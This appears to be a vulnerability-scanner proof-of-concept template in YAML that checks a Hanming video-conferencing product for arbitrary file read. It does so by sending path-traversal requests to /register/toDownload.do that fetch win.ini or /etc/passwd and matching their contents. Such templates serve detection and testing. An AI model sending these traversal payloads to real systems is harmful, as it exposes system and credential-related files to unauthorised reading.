name: poc-yaml-hanming-video-conferencing-file-read groups: windows: - method: GET path: /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini follow_redirects: false expression: | response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) linux: - method: GET path: /register/toDownload.do?fileName=../../../../../../../../../../../../../../etc/passwd follow_redirects: false expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: author: kzaopa(https://github.com/kzaopa) links: - https://mp.weixin.qq.com/s/F-M21PT0xn9QOuwoC8llKA